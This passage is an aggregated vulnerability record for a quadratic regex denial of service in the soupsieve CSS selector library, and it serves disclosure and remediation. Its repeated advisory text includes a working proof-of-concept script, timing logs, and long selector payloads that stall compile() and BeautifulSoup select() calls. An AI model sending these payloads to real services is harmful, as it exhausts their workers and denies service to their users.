{"id":"CVE-2026-86000","aliases":["AZL-103325","DEBIAN-CVE-2026-86000","EUVD-2026-81689","GHSA-gjv8-xp57-g29c","PYSEC-2026-4170","SUSE-SU-2026:24267-1","SUSE-SU-2026:4365-1","SUSE-SU-2026:5164-1","UBUNTU-CVE-2026-86000","openSUSE-SU-2026:11866-1","openSUSE-SU-2026:22149-1"],"status":"published","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00609,"percentile":0.495,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2026-09-17T15:21:57Z","modified":"2026-11-10T20:30:03Z","fixes":[{"ecosystem":"PyPI","package":"soupsieve","fixed_in":["2.9.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6-3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.2-1","2.4-1","2.4.1-1","2.4.1-2","2.5-1","2.6-1","2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3","2.8.4"]},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3","2.8.4"]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5-150600.3.6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.5-150200.3.6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9.2+dfsg-2ubuntu1","1.9.4+dfsg-1","1.9.5+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-2","2.3-1","2.3.1-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1-2","2.5-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-2","2.8.1-1","2.8.3-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.2-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2}],"products":[{"vendor":"facelessuser","product":"soupsieve"}],"references":[{"url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86000","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-gjv8-xp57-g29c","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86000.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-86000","tags":["advisory"]},{"url":"https://github.com/facelessuser/soupsieve","tags":["package"]},{"url":"https://pypi.org/project/soupsieve","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624267-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1281119","tags":["report"]},{"url":"https://bugzilla.suse.com/1281120","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85999","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-86000","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264365-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265164-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-86000","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-86000","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-86000","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:21:57.724Z","modified":"2026-09-17T15:45:49.251Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T13:49:42.666099Z"}],"euvd":[{"id":"EUVD-2026-81689","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:21:57Z","modified":"2026-09-17T15:45:49Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T17:28:11.273554Z"}],"ghsa":[{"id":"GHSA-gjv8-xp57-g29c","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","status":"published","published":"2026-09-17T20:32:58Z","modified":"2026-09-17T20:33:01Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:41:18.357514Z"}],"nvd":[{"id":"CVE-2026-86000","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16.757Z","modified":"2026-09-30T17:51:36.337Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-86000","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:21:57.724Z","modified":"2026-11-10T20:42:19.836335274Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-10T21:13:26.339973Z"},{"id":"DEBIAN-CVE-2026-86000","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16.757Z","modified":"2026-10-01T08:47:37.869538463Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:46:05.022702Z"},{"id":"GHSA-gjv8-xp57-g29c","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?\u003e...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","status":"published","published":"2026-09-17T20:32:58Z","modified":"2026-10-01T17:56:08.291385035Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"PYSEC-2026-4170","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","description":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the 